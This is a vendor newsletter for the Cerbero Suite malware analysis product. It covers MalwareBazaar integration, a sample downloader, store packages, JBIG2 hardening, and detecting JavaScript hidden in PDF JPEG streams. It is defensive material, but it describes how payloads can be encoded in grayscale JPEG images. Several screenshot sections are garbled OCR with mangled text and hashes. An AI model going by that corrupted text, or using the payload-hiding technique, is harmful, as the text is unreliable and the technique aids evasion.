

# Cerbro Journal

"Ars longa, vita brevis" – **Hippocrates** 

ISSUE NR. 2

CERBERO LABS

JANUARY 16, 2023

In this issue of our journal we'll be discussing the release of Cerbero Suite 6 and Cerbero Engine 3, which we released back in September, new cloud intelligence packages on Cerbero Store and important improvements to our support for PDF documents.

The new major version of Cerbero Suite came with many internal improvements such as better search dialogs, which now all support regular expressions and include wrap around search. More importantly, we included some improvements which will be pivotal to the creation of new features during the 6.x series.

In August we released the 'Sample Downloader' package, a great little package for all types of licenses to download malware samples from various intelligence providers which complements the commercial 'AbuseCH Intelligence' package.

#### PDF IMPROVEMENTS

Malicious payloads can be hidden inside JPEG and JPEG2000 streams in PDF documents. We know what you're thinking: "Isn't JPEG a lossy format?".

True, but there's a way around that. [read more]

Our PDF support has been featuring the capability to decode JBIG2 streams for many years.

JBIG2 is an imperative file format which has been demonstrated to be Turing complete. In fact, one of the most sophisticated exploits has been created exploiting a JBIG2

library in iOS. The exploit mentioned in the article creates over 70,000 segments to create a small virtual machine in logical operations defined by JBIG2.

In a recent release we made our already hardened JBIG2 decoding support even more secure by relegating it to a different process and constraining it to a time threshold.

The 6.1 release of Cerbero Suite and the 3.1 release of Cerbero Engine featured a completely rewritten JBIG2 library. Not only is it faster than the older library, but has also constraints on allocation and processing time by default. Therefore, the library now runs in the same process again, while also being more secure and faster.

#### MALWAREBAZAAR

We have renamed our 'MalwareBazaar Intelligence' commercial package and greatly extended its functionality. In the first version of the package, it was possible to inspect MalwareBazaar intelligence about a specific sample from the report view in the analysis workspace.

, Asia				FOR COMPA	
	File		tita format	*	
Information contraction of the second	Coart-Gia Dolawalato	Aprelai Salar Prepisad aka ap	94.0 JP	-11	
CECCHANGED CONTRACTION OF THE PROPERTY OF THE	NUMBER OF A DESCRIPTION	13COD012C0bmd yur/C180.cm	094 (5 109		
www.	City waters brokene her	omeoi			
in 2	Xey		Thior		
Cimipa/Citik.com	195	https://bacast.abuse.th/aspin/			
A Cochibio	FLOR PRIM	6.000/04/02/98 499			
·	Prin Jim	00138# 000320			
all and the second seco	File Type				
	Kine Top	NULLOCATION/R-ROPORT			
terney + r	FLOR 2010	2022-07-08 06/04/48			
Geller	Last data	2002-07-06 17:02:02			
Straligence Nateandanar	prints many	minurland and			
V Intractivists	The second state	Administration of the second sec			
A links under all	Incoming				
() internation	Information Marchael	and the second s			
<ul> <li>Waster information</li> </ul>	7400	Internation and contaction			
A Wantings					
A lecterent checkness salar	rentro bollene	Debut Harbox 2009			
from a second	General Generation	8 dants Réconité Expost Em	an Revended Trape By	affer velder Yanafani	
Ef Orn-Noeler 2	Theoder		Nexteen.		
H remotes	Cres. p2-9928	MALICIDE Capationals			
11 PROVIDENT	of anial second	MALIFICATION (Newspaperson in	Ex. com AREL Sepports AND Des	A D C C C C C C C C C C C C C C C C C C	
<ul> <li>If Cultural Image</li> </ul>	FLLADORD-32	81983C3708			
B Contra Manha	Digwel	NALICIDOR			
in poor charter	Extensions	MALTICACE			
Resource Developy	TTIADE	manyour capacitals			
Referration Clearlony	NOBI	RML0CDOUP			
M M Bectory	Treni-Treni	MALTICIDUS			
# 787 Div 30 y					

Now it is possible to search malware samples in the MalwareBazaar database directly from the UI of Cerbero Suite. Searches can be performed using all supported parameters and also include recently uploaded samples. [read more]

Recipted to the co	o. 4				C. Control Control Pro-				-	
Contraction of the contract								- tare		-
		104				100	Farmet			
1 8400-10-00 00 00 00 00 00 00 00 00 00 00 00 00		INTERNET AND	1775481514	differences.		50%				
1 here for		Andre Candonse	navetee)							
Norw	104	140				764				
< 🚰 adfiber bis		20	MT2H	COMMAND ADDA. ADD	100001000000000000000000000000000000000		04011140-010	DISCOMPANY DAMAGE		
4 December		FIM Real	in TTT	NO. MAR						
<ul> <li>III 23.0x 545.0x 365.9x00000000.08.</li> </ul>										
<ul> <li>Implements</li> </ul>			249.7	01.120340						
In Configuration Rel 1 Jung	- 95	FIN TRN				ek -				
		RINE TICK								
O herene	1000	First Been	One of the							
/ B minu			Parameter Surri	te a'radir (in 1						
Stationer Mesodater			0							
< 9 Internet Threads		Service Service		- hours	040 9	an an ana				
Se harter under alti		in here maked								
* Q Desets										
O Internet docksore tallet		and a								
- L Nay										
1 Delauge data										
+ 📥 Warnings		Votes index	a baha	MAAAA L General	0.0					
A Meladata		NY RA CITUM	roe   power	1900A10 1904	of Story Reads	4.80 7.90	COMPANY OF STREET	white Factors		
U Participante		24			1014				Tables .	
18 Dalibake		Services action	14		The CHI AT	2017	These section is			
18 Keh Gyahaw							and the second second second			
- III Milleniers					191	1004	CONTRACTOR CONTRACTOR	and the proceeding of the	e-e-till/ent	
18 File Reader					PLLA Subo		5033.404			
<ul> <li>If Optional Insides</li> </ul>					To CA	****	17.18 10.56 10			
13 COLORADON										
13 IN 101 WARPI										
a report press pay										

#### SAMPLE DOWNLOADER

A simple extension that can download malware samples by their hash. The package supports various intelligence services from which to retrieve malware samples and is available to all licenses of Cerbero Suite Advanced. [read more]

Cerbe	ro			Suite Advanced 🦨
<ul> <li>Dent</li> <li>Speen Scan</li> <li>Speen Scan</li> <li>Denniers</li> <li>Spean</li> <li>Spean</li> <li>Serrage</li> <li>Auxt</li> </ul>	General Scurfty Kirki Data Statioda Rites Certificate Python There System Sample Downloader	Service HybridAnalysis In:CavetLabs MakeeeBacear MakeeeBacear	Sahan Anabile Anabile Anabile Anabile Anabile Anabile Fororymour Anabile Anabile Fororymour	in the second se
			Save settings	

#### SDK DOCUMENTATION

We keep on documenting our SDK. Recently we have documented the CFBF module which contains the API for parsing legagy Office documents (e.g., DOC, XLS, PTT). [read more]

#### CERBERO SUITE VS CTFS

We test our products on the field. How seriously? Very. [read more]

#### CERBERO STORE

One of the major features introduced in the previous series of Cerbero Suite and Cerbero Engine is Cerbero Store: a simple way to install and update packages.

Chief among the reasons we had to create Cerbero Store was the necessity to release faster updates. It is extremely efficient to update a specific part rather than the whole application and it prevents users being forced to update when they're not interested in a particular functionality.

Additionally, our software runs on multiple platforms. Which means that each update requires us to create multiple software packages. This problem is solved by Cerbero Store, since all platforms share the same package code.

Over the course of the previous year, we have released multiple packages on Cerbero Store: 'API Solver', 'Microsoft Authenticode', 'String Decrypter' and 'UPX Unpacker'. Just to name a few.

The most recent packages we released are 'Sample Downloader', a great little utility available to all types of licenses of Cerbero Suite Advanced to download malware samples from various intelligence providers, and the

#### INDEX

CERBERO STORE	2
ABUSECH INTELLIGENCE	3
BLITZ MALWARE ANALYSIS	4
SAMPLE DOWNLOADER	5
PDF MALWARE HIDDEN IN IMAGES	6
CFBF DOCUMENTATION	7
ENGINE INTERMEZZO	8
JAVA & DEX DOCUMENTATION	9
CERBERO SUITE VS CTFLEARN.COM	10
CHALLENGE: PAYLOAD URLS	10
VBA MALWARE STEP BY STEP	11
HISTORY: MACOSX BINARY ENCRYPTION	13
TIPS & TRICKS	15

commercial 'AbuseCH Intelligence', which offers extensive integration of MalwareBazaar intelligence in Cerbero Suite.

This year we'll be releasing even more packages on Cerbero Store than we did the previous year. Moreover, soon we'll release a major commercial package for Cerbero Suite Advanced and existing commercial license holders will get early access.

4	Cerbero Store - Cerb	oero Suite	_ 🗆 🗙
Category	Package	State	Name: AbuseCH Intelligence Version: 2.1.1
All (11)	AbuseCH Intelligence	Installed	Author: Cerbero Labs
	Sample Downloader	Installed	Size: 59.32 KBs Date: sab ago 6 2022
			Description: This package provides access to MalwareBazaar intelligence.
Installed (9)			Categories: Cloud, Malware, Online
Cloud (2)			
Cryptography (3)			
File Formats (1)			
Forensics (1)			
Malware (4)			
Online (2)			
Reversing (3)			
Security (1)			
Themes (1)			

#### COMMERCIAL-ONLY PACKAGES

Personal license holders of Cerbero Suite have access to many packages on Cerbero Store. However, we reserve some packages such as the 'AbuseCH Intelligence' package to commercial licenses. We try to limit the number of packages reserved to commercial licenses to those which we think fulfill a commercial activity. Additionally, some packages may be available to Cerbero Suite Advanced and not to Cerbero Suite Standard, in case they rely on features not available to the latter.

#### ABUSECH INTELLIGENCE PACKAGE

We have renamed our 'MalwareBazaar Intelligence' commercial package and greatly extended its functionality.

You can check out the video presentation to quickly learn about its features.

4		[XilmxLyaaFC3JRB.exe] - Cerb	ero Suite Advance	d 5.7			_ 🗆 🗙		
	🛃 🖳 🔛 🐝 🛛 🛨 🔶	🔬 🚖 🛬 📎 📰 📰 # 矣	0% ? SHA-2/256 🔻	EB970849792	92344AFDFB6A	24B152F27B6252D5A0140ABAA051	L1F10C92D951 📑 👻		
C Roots				8	🖌 × 🕒 Output		8 ×		
#	File		Risk Format ^						
2 0CF50F70D7C77E466DD5CE256F5C78800469977E	31266E944DA1CD06BA63ADD21/	Special Rate Proposal xlsx.zip	0% (f)	ZIP					
3 EB97084979292344AFDFB6A24B152F27B	6252D5A0140ABAA05111F	10C92D9513/XiImxLyaaFC3JRB.exe	0% (f)	ZIP	~				
প্ট Hierarchy 🗸 🛪	🔍 Analysis [Intelligence: Malwa	areBazaar]					8 ×		
Name ^	Key			Value					
🔺 🚨 XilmxLyaaFC3JRB.exe	URL	https://bazaar.abuse.ch/sample/	eb97084979292344a	fdfb6a24b152	f27b6252d5a0	140abaa05111f10c92d9513/			
Executables	File Name	XiImxLyaaFC3JRB.exe							
4 🔳 eb97084979292344afdfb6a2	File Size	647 KBs (662528)							
4 🚞 Other	File Type	exe							
< >>	Nime Type	application/x-dosever							
😰 Summary 🖉 🗶	First Soon	2022 07 26 06 54 46							
4 🚱 Online	Tilbt Seen	2022-07-20 00.34.40							
🕥 Intelligence: MalwareBazaar	Last Seen	2022-07-28 07:22:12							
4 😵 Intrinsic threats	Origin Country	Switzerland (CH)							
🐨 .NET byte code	Signature	AgentTesla							
😵 Native code: x86	Reporter	cocaman							
4 🕕 Information	Delivery Method	other							
Version information	Tags	AgentTesla, exe, Quotation							
	Vendors Inteligence	Context Hashes JSON							
🕼 Format 🛛 🖉 🗙	Summary Cert.pFMWDB	ClamAV Hiescan-IO InQuest Int	ezer ReversingLabs	I nage   Unpa	icMe vxCube	Yoroi-Yomi			
B Dos Header ^	Vendor		Verdict						
4 🔠 Nt Headers	Cert.pl-MWDB	MALICIOUS (agenttes)	a)						
File Header	ClamAV	MALICIOUS (SecuriteIn	nfo.com.MSIL.Kryp	tik.WZA.UNOFF	FICIAL)				
Optional Header	FileScan-IO	SUSPICIOUS							
Section Headers	InQuest	MALICIOUS							
Import Directory	Intezer	MALICIOUS							
Resource Directory	Triage	MALICIOUS (agenttes)a	a)						
Relocation Directory	vxCube	MALICIOUS							
IAT Directory	Yoroi-Yomi	MALICIOUS							
🔺 🚞 .NET Directory 🗸 🗸									
Enter Python code here									

#### WHAT IS ABUSE.CH AND MALWAREBAZAAR?

abuse.ch is a platform which provides community driven threat cyber intelligence. It hosts a number of services among which most prominently stands MalwareBazaar. MalwareBazaar is an open malware database which includes threat intelligence and a rich 3rd-party API.

#### WHY DID WE RENAME THE PACKAGE?

We wanted to leave open the possibility to integrate additional services hosted on abuse.ch in our plugin in the future.

#### HOW DID WE IMPROVE THE PACKAGE?

In the first version of the package, it was possible to inspect MalwareBazaar intelligence about a specific sample from the report view in the analysis workspace.

Now it is possible to search malware samples in the MalwareBazaar database directly from the UI of Cerbero Suite.

Searches can be performed using all supported parameters and also include recently uploaded samples.



Malware samples can be downloaded and analyzed right away, without ever leaving the Cerbero Suite user interface.

				[Tag: TrickBot] -	MalwareBazaa	r -		
	Type	Size	Nam	•	Sign ^	Info	JSON	
1	exe	368.3 KBs	sefff993.bin		TrickBot		Name	
2	exe	663.1 KBs	solar.php		TrickBot	Fil	e Name	sample2.exe
3	exe	537.5 KBs	bnuethogt.bin		TrickBot	Fil	e Size	202.5 KBs (207360)
4	zip	551.7 KBs	VirusShare_ecbd64859cf	cb61c2b1e04badeaa	RedLineSte	Fil	e Type	exe
5	exe	202.5 KBs	sample2.exe		TrickDat	Mim	туре	application/x-dosexec
6	xlsm	160.4 KBs	Client_documents_acc	Сору	Ctrl+C	Fir	st Seen	2022-03-21 03:04:08
7	iso	602 KBs	drntfn_Payment_Invoi	Copy line	Chile .	Sig	ature	TrickBot
8	exe	413 KBs	218c5b56132ee73c7a5a	Decrease column widt	h Chiles	Rep	orter	NolindRaymond
9	exe	412.5 KBs	da42b3f16999890ffa59	Secretare column wat		Tag	5	exe, TrickBot
10	exe	413 KBs	1e19cdc980488fb82c92	Hind	Ctri+F	MD5		E05D85ACC62B2795BFB94A681E64
11	exe	412.5 KBs	SecuriteInfo.com.W32	Export	•	SHA	1	7CB195E05A78A39CACB0C0D4D4F#
12	exe	412.5 KBs	e6211b1c55e1f978dfef	Dorgaload		SHA	-2/256	236F4E149402CBA69141E6055A11
13	d11	325.5 KBs	e231da087aae05ef16c8	Download all	Ctrl+Alt+D	SHA	-3/384	8BFE50BDBC0E728854537A7CB921
14	d11	596 KBs	f9aab568fb0b6d14c2e716	7b437b952e	TrickBot	SSD	SE P	6144:2LMNe5kFT/RK1WoJg4ouL12
15	d11	313 KBs	kgheowd.dll		TrickBot	TLS	1	T1D814021AEFBD04A7F045A57BA0
16	xlsm.	207 KBs	Documentsxlsn		TrickBot	IMP	IASH	CC031E3BFE0D9F81B846819826C1
17	x1sn	93.3 KBs	Documents_Business.xls	m	TrickBot	Upl	ads	1
18	d11	440 KBs	4936cf3cf44a80966e3362	9ea7656993dfb3e9f	TrickBot	Down	loads	547
19	exe	348 KBs	2586d4d0fb6798a8432049	2847b839815b78797	TrickBot	Clas	VAL	Win.Dropper.TrickBot-7071016
20	exe	348 KBs	51ddc2c6f1de2401ce987c	1589dad88c8.exe	TrickBot			Win.Dropper.TrickBot-7071033
21	exe	348 KBs	5a9bd68976925253a93105	icf5f27d8e3	TrickBot			
22	d11	410 KBs	8637b5bad484e456c6232c	13918cdd6ab.dll	TrickBot			
23	d11	440 KBs	5082c6a494e17befca8cf5	ibbc1db6274.dll	TrickBot			
24	d11	410 KBs	b442ac1173ae15c19aa184	587de2c44a.dll	TrickBot			
25	d11	1.9 MBs	6cbc099615b6ffbd2047ff	3078834176	TrickBot			
26	d11	1 7 MBs	193ed2a28hfc15h141dc76	ha5861397991673ce	TrickBot			

#### ... continued from page 3.

When you open a file in the analysis workspace, the complete MalwareBazaar intelligence can be accessed directly from the report.

	114	- 44 B W	**	***	- R N	EE #	- G 107	58A-2/256	<ul> <li>870805</li> </ul>	£50C182C80	99309000	64036734M8E8688	AC15E6EFC2EBCC2C	72548172	
2 Roots	-	_	_	_	_	_	_	_	_	_	* ×	Output			
			File						Fink	Format					
1 B7CBC5E5DC182C0D49009CD6403673	OILLE	DFAC15E6E	CHIRCO:	25406173	/self1993.	bin .			60%	TIP					
V Herarday	d in	Q. AniAnia (	Intelligence: Mai	hurdenan											
Norne	Fink		ney						Talu	•					
4 🚨 sefff993.bin	0%	URL.		http	c//bazai	ar.abure.ch	sample/b	Cbc5e5dc18	209499909	0164626734	bebitta	cl5s(efc2ebcc2c	:57154bf172/		
4 📷 Executables		rile Same		nett	1993.bin										
<ul> <li># b7cbc5e5dc182c8d99809cd8</li> </ul>	. 60%	Dile die		262	10.0	120121									
Documents															
h Configuration file 1 (lang	. 0%	LITE LAD	2	exe											
<	>	Mine Type		4001	catios/s	x-dosessec									
Service	and in	First See	50	2022	-07-08 0	9122151									
<ul> <li>Online</li> </ul>	~	Origin C	untry	Germ	iny (26)										
intelligence: Mahsarellazaar		signature		TELO	2020										
4 😵 Intrinsic threats		Reporter		10daa	spport										
Vative code: x06		pelivery	Method	unb -	ican load										
4 😳 Threats		Terra			Trickler										
Incorrect checksum value															
< 1 triacy															
L Debug data	- 11														
<ul> <li>A Warnings</li> </ul>		Vendors	Inteligence	Holes	YARA RU	les Convert	JSON								
A Metadata		Any.Ran	Cet.pHMND	a Carri	V Nisc	an-10 InQue	ut Indepe	ReveningL	abs Triag	e UnpacMe	VPEry	vsCube Yoro	éYomi		
() Fernet	0 ×		verdic	t				Name					Valo		
E Dos Header	^	Malicicu	activity				Verdict		Malt	cious activ	ity				
19 Rich Signature							287.		http	U.//MIE.MA	. ren/ta	aks/f337fc6c-74	40-4943-2030-40	12142928f	
* 25 NUTREDETS							Tille Me								
Eg rise measur							1110 10								
<ul> <li>Eg Optional Headar</li> <li>El Data Directoriar</li> </ul>							Date		2022	-07-08 0615	4133				
Fill Carting Mandary															
import Directory															
Resource Directory															

Highlighted entries in the report can be activated to continue searching for additional malware samples.

Beste											and the second second	Dent			
			<b>C</b> 14							6 mm					
EXAMPLE AND ADDRESS ADDRESS		CREACE TO THE	CONTRACTOR I	1140011114	ALL DAYS IN COMPANY				-	TO					
C Herarday	- A - X	Q. Anilysis (	Inteligence: M	obvereDaraor)											
Nome	Fisk		ney						Talu	•					
4 🔒 sefff993.bin	0%	URL.		https:	//bazsar.abu	ze.ch/z	ample/b7c	bc5e5dc1#2c9	1399609	0164026734ab	eb@facl	Salafc2	bcc2c57154bf172/		
4 📷 Executables		File Same		net ( f f	93.3in										
b7cbc5e5dc182c8d59809cd8	60%	Dille die		263.3	12720-12										
Documents		1110 3111		241.2							_				
h Configuration file 1 (lan	1. 0%	File Type	•			Ma	lware8az	ear Search			×				
<	>	Mine Type	•												
1 house of the second sec		First See	en 👘	One. When	ure		100000								
4 🚔 Online		Origin C	contry	Maximum numi	ber af results: [S										
Contralinence: Mahamalaman		Signature		D.											
· 😭 intrinsic threats		Reporter				Search	Cano	s Open wel	p-page						
Vative code: x06		Tel (mars)	Marked .												
< 🖸 Threats		-	10,000												
Incorrect checksum value		1403		6000, 7	FLCEDOC										
< 1 Privacy															
2 Debug data															
<ul> <li>A Warnings</li> </ul>		Vendors	Intrioroce	Bades	YARA Bules	ment	ISON								
📥 Metadata		Awar	CetolMill	00 Carres	NiScan-10	InOunt	Integer	ReveningLabs	Trieg	e UspecMe	VPEN	veCube	Yoro-Yomi		
j Fernet	8 ×		verdi	ct				Name					Y	alue	
El Dos Header	~	Malladay					Tandina.		Malla	stars and dat					
E Rich Signature		Anterior	IN HELEVAL	,			TTE GALLE		-					1.0.000	
# Ell Nt Headers							1912		Drapt	arright my.	1812-1938	8419371	00-7440-4903-8738	-40702386569L	
Ell File Header							File Nam	6	20111	£993.488					
<ul> <li>III Optional Header</li> </ul>							DADE		2022-	-07-08 08124	133				
III Data Directories															
Ell Section Headers															
<ul> <li>Import Directory</li> </ul>															
<ul> <li>Resource Directory</li> </ul>							<								

The discovered malware samples can be batch-downloaded and are automatically added to the current project.

Beste											and Distance	
				ile.					0049	Format		
B7CBCSESDC182C0055009CD5403673448	IVAG	150	uca	000052254	E172/ar#9923.Ne			681		TIP		
415FD/FR340F160/0288CECC7129542C9/F8/4FC1	FFFCO	NO(F)	FSM670	9816/selar.ol				070		2		
2 RECHTCOME20872E4CENDALEE2C4CTEMMA	10000	10725	5829027	coro, bruetho	g.bn			0%		2		
V Herardry 4	×	1		nalyna (Intelig	ence: MalnareBazoar)	0	4	[Signature	: T6680	- MalwareBacoar	0	
Aarne F	ísk		2324	Size		Mame			21	gaature	Status	
4 🚨 sefff993.bin 0	%	1 .	1330	160.3 880	sefff993.bin			7	rickBor		Iconloaded	
4 🔤 Executables		2 1	exe	663.1 326	ofgr. raios			T	rickpor		Development	
4 📕 b7cbc5e5dc182c8d99809cd8 6	0%	2.		537 5 884	brouthout his				r Lekford		Tranloaded	
<ul> <li>Documents</li> </ul>		1.		102.5 184	annolal an							
Configuration file 1 (ang., 0)	*	- 1			Paspiceren	Please	wait!					
			1110	100.4 810	Client_doc				801			
Sommary a	*	•	exe	413 855	2180503413	Devriceding file a	07.49.50	n Planaretossar.	- B01			
4 😜 Online	~	7	130	412.5 \$20	da42b3f169				Dot			
Intelligence: Mahsarellazaar		8.1	exe	413 888	1e1903c960	Devribeding 'san	ph2.evel.		803			
4 😵 Intrinsic threats		2	1330	412.5 \$20	SecuriteIn				Dot			
Vative code: x06		10 .	exe	412.5 386	e6211b1c55		62410	P	803			
4 😳 Threats		11	411	125.5.170	#231d#187#				Dec.			
O Incorrect checksum value		10	43.3	CGC 994	read/state				r Le Moor			
· I Privacy												
I Denug data	н.	13 .		313 858	elineowarent				rickbot			
- Munings		14	1100	207 288	recumentsx	100		T	ricamor			
		15	120	93.3 320	Documents_Du	sineps.alsm		T	rickBot			
Gran and States and St		1										
E Dis Finador	î P	-	390N									
A 18 M Munder			Name						Value			
III Fie Hawker	r	lle n	one		solar.pèp							
<ul> <li>III Ontinoal Header</li> </ul>	r	11e 5	ire		663.1 MBm (6790	00)						
Fill Data Directories	r	lle T	ype		exe							
E Section Headers	- ×	ine T	724		application/s-d	OPERC						
import Directory		(rer			1000-16-00 48-5	\$113						
Resource Directory												

You can also perform custom searches on MalwareBazaar using the relevant action.

4		[sample2.exe]	Cerbero Suite Advanced !	5.7			_ Ø 🛛
REPORTOR	l-8,2 € + +   <b>x</b> ★   4	NN EE#	6 95 954-2/256 · 2368	4E149402CBM991	116035	A113A68F28D86539365210AF89861F4E2D3ADSF	
2 Rosta					* ×	Output	
	File		Rive	k Format	^		
1 EVERCSESOC1E2CR099009CD64D36734ABEB60PAC15	EEEFC2EBCC2C57254EF172/w/#9983.bm		68%	239			
2 415EMEB340F18992288CBCC71295A2C95E864FC18E	ECD5504E3E5AA4709981A/selar.php		0%	2			
3 7EBC547TCOBE268973E4C8NDABE22C4CTEB484823	CDPCD/7255829027562P9(bnuethogt.br		0%	2			
4 236F4E149402CBA69141E6035A113A68F2BE	86539365210AF89861F4E203AD	f/sample2.exe	0%	239			
5 BF2744758E296528CDF021A0EAC2928B400E298BA8	T9AC86400F0DEDA41600E)Clent_docum	ents_access_5506-2405.alum	0%	2	~		
V Herarday 4 ×	C. Analysis (Inteligence)	Malwarefactuar)	I System: Te	Hot) - HalmareBazas		0	
Norne Risk	ney		Execute action		×		
4 🚨 sample2.exe 0%	UKL http	Date: Comm				945210afb9961f4e2d3ad5f/	
4 🔤 Executables	rile Same pom	Control Castarti					
23654e149402cba69141e6055 0%	File 5178 202	Show deabled actors		Cor	figure		
	File Tone and	Actions			^		
	Num france content	<ul> <li>InveScript</li> </ul>					
	Alle type app	Beautity JavaScrip					
Service A ×	First Seen 202	Debug JeegScript					
4 😜 Online	Origin Country Uni	Depute lavaScript					
😜 intelligence: Mahsarellazzar	signature Tri-	Open new JavaSci	ipt editor				
4 🔮 intrinsic threats	Reporter Nol	4 JSON					
😵 Native code: x06	TROS 000	Indent					
4 🚣 Wernings		<ul> <li>Network</li> </ul>					
A Incorrect checksum value		URL Download (Tr	00				
🚣 Meladata		<ul> <li>Online</li> </ul>			_		
		MahuareBazaas.se	arch				
	Verdors Inteligence Centent	* Python					
	Any Ran Cape Cet pHMAD	Control of the	pet			VMRay vsCube Yoroi-Yorni	
Di Des Mandes	Verdict	A Description				Value	
Direction and the second secon	Malicious activity	API Schort			~		
A 18 Nt Hearlers						y/0bf1a35d-d124-&c46-9c30-6fd987e562e4	
File Header			OK Canol				
<ul> <li>Fill Optional Header</li> </ul>			Tate 20	22-12-14-14-24	- 5.0		
El Data Directories			Tana at	asion troiso			
E Section Headers			anga ta	annen, reojan			
import Directory							
Resource Directory							
Load Config Directory							
Ester Fython code here							

And, of course, all analyzed files are saved inside the current project.

#### DOES YOUR ORGANIZATION PROVIDE ONLINE INTELLIGENCE?

If you think your organization could be interested in an integration between its online intelligence services and Cerbero Suite, you can contact us for more information.

We offer various deployment methods for our installable packages: a package integrating the online services of your organization can be deployed in a flexible way through Cerbero Store or it can be deployed using the infrastructure of your organization.

#### BLITZ MALWARE ANALYSIS

Do you get easily bored and distracted by trying to follow long malware analysis videos? Then perhaps we have a solution for you!

In a not-to-be-taken-too-seriously effort to showcase the manual analysis capabilities of Cerbero Suite, we have created a series of videos where we analyze malware samples in 3 minutes or less.

In this case, we extracted the payload from a malicious Microsoft Excel malware sample in 37 seconds. You can watch the video on YouTube!

						[xis_payload.zip]	<ul> <li>Cerbero Suite Ad</li> </ul>	Nanced 5.7			_ D 🗡
R•⊇⊇ €	a 6 6			1 & 2 W	** **	* % N EE #	6 87% SHA-2/25	6 · F00252A81	75466092289988	A75942BEBFED4	GCDMAME3E02DC390840599CE1740
D Roots									* ×	Output	* ×
<ul> <li>File</li> <li>1 Q.\\xds_pay</li> <li>2 payload</li> </ul>	ykodulą	Risk 80% P%	ZIP Pt							EP///41gpmoss 41gp1tSg111 c1tVh11gpGods stisckAngEgg71 iPD/PagsgKcts FoxSgRCSTibR;	<pre>/PEIQNCHERRANOj40f///HEUSyj///+OCLUMF#/// x IFEIQNCIERONJ20200707EEONATFEIFONVEEO/ IFE CEQ/WISEEEAIFCHT0J/ //WIOSIEFEAFEFON///CQUEA </pre>
C Henarday			- * ×	C Analysis [100.	52847546c892289	bde79942be84e445cdutae3eg2dc3	1905-40599ce1740.xis] 🖸	ic (eb	[belynq_tectes.	Python E	
Nome				OxHex III Fie	stata Spreads	heet					
4 🚨 sh_psyload.	zip					87		10		88.	85 ^
<ul> <li>Document</li> <li>fooz:</li> </ul>	15 52ab1754	666922698	da75942be	379							D+// 8Tbh/K+2AAAA4H5/58//8jbl.iwi//P/4_
<			>	380							///IMTI908//9UNNK1//3P0V2YU/// ETI908//9tTINCAAHQU/UFCVTCUGR
<ul> <li>Summary</li> <li>Online</li> <li>Intelliger</li> </ul>	nce: Maha	areBazaar		381							wdpDfwDCAQQAW7/ PgxS9//9fTNG1//3PNN2JU///wU1jUQ
VRA cod				362							Uw//P/AX453//9JUN+// 8Dch/CAQQA65/H1//3PNN2IUAAwAcL.
1 Metadat 1 Metadat	1			383							chiCAQQQIII/D1//zPvfusU//7/ AXSAAEsinGAAAQoZSFAE//RzbvD+/
				384							8DgUKwi//P/AKSiQBAQSwcF//// 9DU/NC9iAAEEwi/u/R9//9TU/LCTyPEDQ
3 Ferret				385							1//3PRVu//UI30K0BAQSwtF////3zTJNC% AA2EuWw/GRcRLKTyVH//zPwNmKL+/
Directories			^	<							CV114 # A # A # B U // A
E Warkboo	k			[Entered Inform	ation) (vorkaheet)	(Final Offer) (worksheet)					
4 💼 386,79	O.ECT_CU	R		Defined sames	Formules						
4 🚞 VBA			- 1		Name			Formula			
18 m	vsWorkbo	CK.		PDEActiveShee	e.	7					
8 4	COUNCI 1			FILData2		7					
8	SRP 3			Print_Area		'Real Offer ISA\$1:\$52	\$20				
B M	lodule2 SRP 4			Print_Area		'Entered Information	rt\$A\$1.\$P\$13				

4

#### SAMPLE DOWNLOADER PACKAGE

Contrary to the 'AbuseCH Intelligence' package, the 'Sample Downloader' package is available to all license of Cerbero Suite Advanced.

You can check out the video presentation for a quick introduction.



The API keys for the supported intelligence providers can be configured from the settings page.

While this is a simple extension, we consider it extremely useful, as it allows downloading malware samples by their hash. The package tries to download the requested samples from various supported intelligence services.

Installing the 'Sample Downloader' package from Cerbero Store takes only a few clicks. Once installed, you can go to the settings and enter your API keys for the supported intelligence services.



To download one or multiple malware samples, just enter their hash.

4		Cerbero Su	uite Advanced 5	5.7		_ □	Х
Cerber	0				Suite Adv	anced 🏅	1
Start	Analysis	Debug	Hex	Online	Util		Î
System Scan	🖯 Perform a se	earch on MalwareBaza Ple	ar ease wait!		_ 🗆 🛛		
Extensions Sea	arching for sample 7AFS	C99593795C7EF4B1E	617A6FA857D36F0AE	5BC5B591D0CA7	DD2C17EB8C771	idens	
Update Qu	erying InQuestLabs						
About			Cancel				
	<ul> <li>expanded AbuseCH- added documentati</li> <li>added human hash</li> <li>added deflate64 de</li> <li>added some Pythol</li> <li>improved security c</li> <li>improved security c</li> <li>improved parsing o</li> <li>various improveme</li> <li>fixed some bugs</li> </ul>	I Intelligence commen on for CFBF module to the analysis works compression support n APIs of JBIG2 decoding f XLS format nts	cial package pace				

Sample Downloader will try to download the malware samples from all supported intelligence services.

Once the samples have been downloaded, you can directly inspect them in Cerbero Suite. Additional samples can be downloaded within the analysis workspace using one of the actions added by the package.

#### PDF MALWARE HIDDEN IN IMAGES

In Cerbero Suite 6.1 and Cerbero Engine 3.1 we added support for decoding JPEG (/DCTDecode) and JPEG2000 (/JPXDecode) images in PDF documents. The reason for this is that it is possible to encode malicious data using these filters. This was demonstrated by Dénes Olivér Óvári in his 2015 research where a grayscale JPEG was used to encode a JavaScript script.

We want to thank Dénes for his research and for providing us with his proof of concept. We could confirm that indeed the technique still works using the latest Acrobat Reader.



The proof of concept PDF provided to us by Dénes Olivér Óvári displays a JavaScript alert.

#### ISN'T THE COMPRESSION IN JPEG IMAGES LOSSY?

It depends. Using a high quality factor  $(q_f)$  for the compression it would be possible to store raw data losslessly.

#### From Dénes's article:

"At high q<sub>f</sub> settings, with floating-point precision DCT calculation, it would be possible to store and retrieve raw RGB data losslessly, using software like GIMP, for example. However, JPEG implementations differ – quantization tables and certain stages of decompression are entirely up to the developer, therefore the output might be different when the stream is decompressed with another library.

In the most popular PDF reader application, Acrobat Reader, we can see that Adobe's JPEG implementation could alter some samples in the LSB +/- 1 range. This is completely reasonable for image reproduction and conforms to the JPEG specification, while making the misuse of DCTDecode to store arbitrary data also impossible at first sight."

Using the grayscale mode avoids having to deal with color **DOES MALWARE USE THIS TECHNIQUE?** space conversion:

"If these calculations are computed with finite precision, rounding errors could occur, causing information loss certain RGB values are impossible to represent in the output. Since at high  $q_f$  settings, the quantization tables contain only

1s, it could be assumed that actually all of the information loss was due to this conversion.

This assumption can be verified because JPEG has a separate greyscale mode. Omitting any colour space conversion, using only the luminance layer, every 24 bits of incoming data represent only a single pixel of the image."

Here is Cerbero Suite correctly decoding the JavaScript in Dénes's proof of concept.

	[js_in_jpeg_po	c.pdf] -	Cerbe	ro Si	iite /	\dva	nced	6.1 -	Cert	ero	Suit	e				- • ×
